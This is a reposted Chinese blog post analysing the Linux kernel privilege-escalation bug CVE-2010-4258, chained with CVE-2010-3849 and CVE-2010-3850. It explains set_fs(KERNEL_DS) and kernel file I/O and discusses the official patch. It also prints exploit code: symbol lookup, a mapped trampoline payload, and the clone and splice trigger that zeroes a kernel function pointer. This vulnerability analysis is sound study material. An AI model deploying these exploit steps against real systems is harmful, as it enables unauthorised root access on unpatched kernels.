转载

CVE-2010-4258分析&&set_fs(KERNEL_DS)与内核文件读写

在用户态,可以使用open、close、read、write等库调用对磁盘文件进行操作,但是内核没有这样的函数调用.通过跟踪open等函数执行流程,可以看到最终调用内核的sys_read,sys_write函数,但是这两个函数没有导出符号.不过,有vfs_read,vfs_write函数会调用sys_read,sys_write,而且传入的参数基本上相同,因此,可以通过调用vfs_read等实现对文件的读写.

不过,内核默认给出的文件操作是给用户层使用的,所以默认传入的参数都来自用户层,为了避免用户层修改内核层数据,会对传入的参数检查是否越界到内核地址.

因此,当内核调用这类操作函数的时候,就必须传入用户层的地址.但是内核是不能轻易获得用户层的地址的,所以通过 set_fs(KERNEL_DS) 将当前进程的地址空间上限设为KERNL_DS,就能绕过检查,实现对文件的操作.

内核读写函数

file_open,filp_close,vfs_read,vfs_write:

struct file *filp_open(const char *filename, int flags, umode_t mode) ;

int filp_close(struct file *filp, fl_owner_t id) ;
//内核操作的时候,id一般为null.
ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos);//读取到buf

ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos) ;//写入到文件
//pos为文件读写的偏移地址;

其中的buf参数表明是指向的用户空间,但是我们在内核调用的时候,传入的buf是在内核空间,因此检查参数的时候就会出错,导致我们不能通过内核空间直接传数据到文件里.

为了解决这个问题,我们可以通过set_fs函数解除这个束缚.

typedef struct {//arch/x86/include/asm/processor.h
unsigned long seg;
} mm_segment_t;

static inline void set_fs(mm_segment_t fs){//
current_thread_info()->addr_limit = fs;
}

而fs只有两个值:KERNEL_DS,USER_DS(对于x86系统 KERNEL_DS=0xFFFFFFFF USER_DS=0xC0000000)

一个简单的示例(完整代码见最尾):

fp = filp_open("/home/victorv/t.txt", O_RDWR | O_CREAT, 0644);
cur_mm_seg = get_fs();//保存当前标志
set_fs(KERNEL_DS);//修改标志只对内核检查,
vfs_write(fp, wbuf, sizeof(wbuf), &fpos);
fpos = 0;
vfs_read(fp, rbuf, sizeof(rbuf), &fpos);
set_fs(cur_mm_seg);`

CVE-2010-4258漏洞分析

简述

Nelson Elhage发现了一个内核设计上的漏洞,通过利用这个漏洞可以将一些以前只能dos的漏洞变成可以权限提升的漏洞。线程退出的时候,如果设置了”CLONE_CHILD_CLEARTID”标志,会对线程的clear_child_tid 置零,置零前会 检查指针地址是否越界到内核空间 .

这个过程本身没什么问题,问题在于,当出现内核OOPS的时候,会执行进程退出操作,又由于大多数的OOPS都伴有set_fs(KERNEL_DS),使得退出流程前并没有及时恢复成USER_DS,从而绕过越界检查,实现对任意地址置零.

如果绕过检查,置零了内核某函数指针的高位,使之指向用户空间,再调用了该函数,就能劫持内核流程到用户空间.

OOPs:当内核检测到问题时,它会打印一个oops消息然后杀死全部相关进程。当oops非常严重,内核决定直接结束系统时,就叫panic.

代码分析

退出流程

  • 当fork或clone一个进程的时候,会调用copy_process函数:
    task_struct *copy_process(...){
    ...
    p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
    }

如果设置了CLONE_CHILD_CLEARTID标志,就会将child_tidptr赋值给clear_child_tid,而child_tidptr来自用户空间,可以受用户控制,意味着我们可以指向内核地址.

下面这个是clone的函数原型,ctid就是child_tidptr指针

int clone(int (*fn)(void *), void *child_stack,
int flags, void *arg, ...
/* pid_t *ptid, struct user_desc *tls, pid_t *ctid */ );

CLONE_CHILD_CLEARTID (since Linux 2.5.49)

在线程退出的时候清除子线程的ctid执行的地址,并唤醒该地址的futex.

  • 当一个线程退出的时候,do_exit()会执行如下操作:
    NORET_TYPE void do_exit(long code){
    exit_mm(tsk);
    }
    static void exit_mm(struct task_struct * tsk){
    struct mm_struct *mm = tsk->mm;
    struct core_state *core_state;
    mm_release(tsk, mm);
    }

    void mm_release(struct task_struct *tsk, struct mm_struct *mm){
    if (tsk->clear_child_tid) {
    if (!(tsk->flags & PF_SIGNALED) &&atomic_read(&mm->mm_users) > 1) {
    put_user(0, tsk->clear_child_tid); <<-------------------------
    sys_futex(tsk->clear_child_tid, FUTEX_WAKE,1,NULL, NULL, 0);
    }
    tsk->clear_child_tid = NULL;
    }
    }

其中, put_user(x,ptr) 函数将ptr指向的地址修改为x.即对”clear_child_tid”指向的内存置零

  • put_user
    189 #define put_user(x,p)                 
    190 ({
    191 might_fault();
    19* __put_user_check(x,p);
    193 })

    164 #define __put_user_check(x,p)
    165 ({ /
    166 unsigned long __limit = current_thread_info()->addr_limit - 1; /
    167 register const typeof(*(p)) __r*asm("r*) = (x); /
    168 register const typeof(*(p)) __user *__p asm("r0") = (p);/
    169 register unsigned long __l asm("r1") = __limit; /
    170 register int __e asm("r0"); /
    171 switch (sizeof(*(__p))) { /
    17* case 1: /
    173 __put_user_x(__r* __p, __e, __l, 1); /
    174 break; /
    175 case * /
    176 __put_user_x(__r* __p, __e, __l, *; /
    177 break; /
    178 case 4: /
    179 __put_user_x(__r* __p, __e, __l, 4); /
    180 break; /
    181 case 8: /
    18* __put_user_x(__r* __p, __e, __l, 8); /
    183 break; /
    184 default: __e = __put_user_bad(); break; /
    185 } /
    186 __e; /
    187 }

__put_user_check的功能是根据ptr的类型大小,利用__put_user_x宏将x拷贝1,2,4,8个字节到ptr所指向的内存

175 #define __put_user_x(size, x, ptr, __ret_pu)                    /
176 asm volatile("call __put_user_" #size : "=a" (__ret_pu) /
177 : "" ((typeof(*(ptr)))(x)), "c" (ptr) : "ebx")

__put_user_x完成两件事,将eax填充为x,将ecx填充为ptr,因为clear_child_tid是int类型,所以这里会调用 __put_user_4

ENTRY(__put_user_4)
ENTER
mov TI_addr_limit(%_ASM_BX),%_ASM_BX//TI_addr_limit得到当前进程的地址空间上限放在ebx
sub $3,%_ASM_BX
cmp %_ASM_BX,%_ASM_CX //比较要访问的地址是否高于内核地址
jae bad_put_user //如果超过就不拷贝.
3: movl %eax,(%_ASM_CX)//将ptr指向的地址置零
xor %eax,%eax
EXIT
ENDPROC(__put_user_4)

通过分析上述代码,可以得出这样的结论:设置了CLONE_CHILD_CLEARTID标志的进程(线程)退出的时候,会对”child_tidptr”指向的地址执行置零操作,且地址由我们控制.

  • 每当我们访问一个无效地址的时候,系统便会执行do_page_fault去生成异常日志,结束异常进程等
    int do_page_fault(struct pt_regs *regs, unsigned long address,
    unsigned int write_access, unsigned int trapno)

    {

    // ......
    die("Oops", regs, (write_access << 15) | trapno, address);
    do_exit(SIGKILL); <<-------------------
    }

do_page_fault –> do_exit –> exit_mm –> mm_release –> put_user

因此,找一个执行了set_fs(KERNEL_DS)的漏洞,就可以实现内核任意地址置零操作.

利用漏洞触发OOPS(CVE-2010-3849)

在CVE-2010-3849漏洞里,msg->msg_name的值可以由用户自由控制,而econnet_sendmsg函数会调用这个指针,如果把该指针设为NULL,就会触发OOPS

1094 ssize_t sock_no_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags){ 
1104 msg.msg_name = NULL;
...
1115 old_fs = get_fs();
1116 set_fs(KERNEL_DS);
1117 res = sock_sendmsg(sock, &msg, size);
//此处的sock_sendmsg会被定向到econet_sendmsg
1118 set_fs(old_fs);
1120 }

500 int sock_sendmsg(struct socket *sock, struct msghdr *msg, int size){
sock->ops->sendmsg(sock, msg, size, &scm);
//关系:sock->ops = &econet_ops
//关系:econet_ops->sendmsg = &econnet_sendmsg
}

static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t len)

{

struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;
...
eb->cookie = saddr->cookie; <<-----------------------
//如果saddr是NULL,就会造成违例访问
}

追溯一下触发异常的流程如下图(不同版本的内核可能会多一个__sock_sendmsg函数,无大碍):

CVE-2010-4258分析&amp;&amp;set_fs(KERNEL_DS)与内核文件读写

结合两个漏洞,利用CVE-2010-3849触发oops,再利用CVE-2010-4258实现对内核函数地址的置零,从而控制内核函数.

748 static const struct proto_ops econet_ops = {
749 .family = PF_ECONET,
750 .owner = THIS_MODULE,
751 .release = econet_release,
752 .bind = econet_bind,
753 .connect = sock_no_connect,
754 .socketpair = sock_no_socketpair,
755 .accept = sock_no_accept,
756 .getname = econet_getname,
757 .poll = datagram_poll,
758 .ioctl = econet_ioctl, //待置零的内核函数
759 .listen = sock_no_listen,
760 .shutdown = sock_no_shutdown,
761 .setsockopt = sock_no_setsockopt,
762 .getsockopt = sock_no_getsockopt,
763 .sendmsg = econet_sendmsg, //CVE-2010-3849漏洞触发函数
764 .recvmsg = econet_recvmsg,
765 .mmap = sock_no_mmap,
766 .sendpage = sock_no_sendpage,
767 };

然而,在配置econet的时候,需要设置econet的地址

ioctl(econet_socket, SIOCSIFADDR, 픦);

而”SIOCSIFADDR”是个特权操作,为了安全考虑,只接收AF_INET地址,所以我们的econet就不能设置.为了实现地址设置,需要用到CVE-2010-3850

CVE-2010-3850:ec_dev_ioctl函数在内核版本 2.6.36 前,不需要CAP_NET_ADMIN权限就能允许普通用户绕过权限限制,实现通过ioctl的SIOCSIFADDR来设置econet 地址.

漏洞利用

  1. 获取所需内核函数地址
  2. 提前在地址econet_ioctl对应的用户地址布置提权代码
  3. 通过发送全0的消息,触发调用set_fs(KERNEL_DS)的内核bug(比如非法读取),导致oops,让它把当前线程kill掉(这里使用cve-2010-3849)
  4. do_page_fault将我们精心指向的内核函数地址高位置零.假设由0xcc401234变成0x00401234
  5. 在主进程调用ioctl触发修改过的函数econet_ioctl,执行提权.

具体细节:

  • 获取函数

    econet_ioctl = get_kernel_sym("econet_ioctl");
    econet_ops = get_kernel_sym("econet_ops");
    commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
  • 填充空间

    void __attribute__((regparm(3)))
    trampoline(){
    #ifdef __x86_64__//在64位的内核中,编译的payload和RIP相关联的,所以不能直接copy到shellcode里.
    asm("mov $getroot, %rax; call *%rax;");
    #else
    asm("mov $getroot, %eax; call *%eax;");
    #endif
    }
    SHIFT=8;//8 bits
    landing = econet_ioctl << SHIFT >> SHIFT;//清除最高1字节
    mmap((void *)(landing & ~0xfff), 2*4096,
    PROT_READ | PROT_WRITE | PROT_EXEC,
    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);//申请该区域空间
    memcpy((void *)landing, &trampoline, 1024);//填充payload
  • 触发oops

    OFFSET=1;
    int fildes[4];
    pipe(fildes);//创建管道
    fildes[3]=open("/dev/zero", O_RDONLY);
    fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
    target = econet_ops + 10 * sizeof(void *) - OFFSET;//计算偏移位置,通过前面的econet_ops结构计算
    newstack = malloc(65536);//创建线程栈
    clone((int (*)(void *))trigger,
    (void *)((unsigned long)newstack + 65536),
    CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
    &fildes, NULL, NULL, target);//设置标志,开启线程

    int trigger(int * fildes){
    int ret;
    struct ifreq ifr;
    memset(픦, 0, sizeof(ifr));//
    strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
    ret = ioctl(fildes[2], SIOCSIFADDR, 픦);//设定econet地址
    splice(fildes[3], NULL, fildes[1], NULL, 128, 0);//连接无限的zero到socket,使得msg->msg_name=null
    splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
    //至此就已经触发漏洞了,这个退出代码不会被执行
    exit(0);
    }

splice() 在这里就相当于把/dev/zero通过管道与econet连接起来.

/dev/zero 是一个特殊的文件,当你读它的时候,它会提供无限的空字符(NULL, ASCII NUL, 0x00)。

  • 调用shellcode
    ioctl ( fildes[2] , 0 , NULL );

调试分析

环境:ubuntu 10.04,内核:2.6.32

断点设置

econet_sendmsg

获取econet_ops的地址

在被调试机机

$ cat /sys/module/econet/sections/.text 
0xf806a000

如果没有这个模块,就手动加载

调试机加载符号文件

$ add-symbol-file econet.ko 0xf806a000

查看econet_create函数

$ disassmble econet_create
CVE-2010-4258分析&amp;&amp;set_fs(KERNEL_DS)与内核文件读写

可以看到econet_ops的地址是0xf806b380

查看一下结构的内容:

CVE-2010-4258分析&amp;&amp;set_fs(KERNEL_DS)与内核文件读写

对比exploit的get_kernel_symbol函数得到的结果:

CVE-2010-4258分析&amp;&amp;set_fs(KERNEL_DS)与内核文件读写

地址正确

触发oops

运行exploit,断在econet_sendmsg,继续执行出现非法读取:

CVE-2010-4258分析&amp;&amp;set_fs(KERNEL_DS)与内核文件读写

这里有个bug,就是在开启kgdb调试的时候,它无法完成正确的处理,导致一直在重复do_page_default函数,然后没办法结束线程.

为了查看调试结果,我在mm_release函数里添加了个判断语句:

if(tsk->clear_child_tid > USER_DS)
printk("kernel_reset:%p",(int)tsk->clear_child_tid);

查看printk的输出:

CVE-2010-4258分析&amp;&amp;set_fs(KERNEL_DS)与内核文件读写

成功提权结果

CVE-2010-4258分析&amp;&amp;set_fs(KERNEL_DS)与内核文件读写

漏洞意见

针对4258,在mm_release里添加对tsk->clear_child_tid > USER_DS的判断,如果成立就直接返回,或者在do_exit里添加set_fs(USER_DS)

PATCH对比

4528 patch :

diff --git a/kernel/exit.c b/kernel/exit.c
index b64937a..69f4445 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -907,6 +907,15 @@ NORET_TYPE void do_exit(long code)
if (unlikely(!tsk->pid))
panic("Attempted to kill the idle task!");

+ /*
+ * If do_exit is called because this processes oopsed, it's possible
+ * that get_fs() was left as KERNEL_DS, so reset it to USER_DS before
+ * continuing. Amongst other possible reasons, this is to prevent
+ * mm_release()->clear_child_tid() from writing to a user-controlled
+ * kernel address.
+ */
+ set_fs(USER_DS);
+
tracehook_report_exit(&code);

/*

官方的做法是恢复界限,避免多余的检查

#总结

虽然这是个很老的漏洞,但是它结合其它漏洞的联合利用的方法,以及对一个漏洞的新开发值得好好学习,也让我对linux的各种处理机制有了更多了解,还学习了如何在内核层操作文件的方法,受益匪浅.

#疑问

  • 在调试的时候,使用kgdb会造成不停do_page_default操作,从而无法执行提权

    不能使用kgdb调试的问题我也费了好久才发现,本来以为是内核问题,试了好几个内核,后来无意间发现我没有开启kgdb的时候可以成功,我才知道是kgdb影响了调试,希望以后能够获得解答.

完整代码

简单的文件读写操作

#include <linux/init.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <asm/uaccess.h>

#define SLAM_FILE_PATH "/home/victorv/slam.txt"

static char wbuf[] = "Hello slam-victorv";
static char rbuf[128];

static int vfs_operate_init(void)
{

struct file * fp;
mm_segment_t cur_mm_seg;
loff_t fpos = 0;

printk("<victorv>in %s!/n",__func__);
fp = filp_open(SLAM_FILE_PATH, O_RDWR | O_CREAT, 0644);
if (IS_ERR(fp)) {
printk("<victorv>filp_open error/n");
return -1;
}

cur_mm_seg = get_fs();
set_fs(KERNEL_DS);
vfs_write(fp, wbuf, sizeof(wbuf), &fpos);
fpos = 0;
vfs_read(fp, rbuf, sizeof(rbuf), &fpos);
printk("<victorv>read content: %s/n", rbuf);
set_fs(cur_mm_seg);

filp_close(fp, NULL);
return 0;
}

static void vfs_operate_exit(void)
{

printk("Bye %s!/n", __func__);
}

module_init(vfs_operate_init);
module_exit(vfs_operate_exit);

MODULE_LICENSE("GPL");

reference:

相关源码引用地址

vfs_read

KERNEL_DS

exploit:full-nelson.c

kernel-exploit

cve-2010-3850

分析参考
原文  http://v-v.mom/2016/06/25/kernel_ds_rw/
正文到此结束
Loading...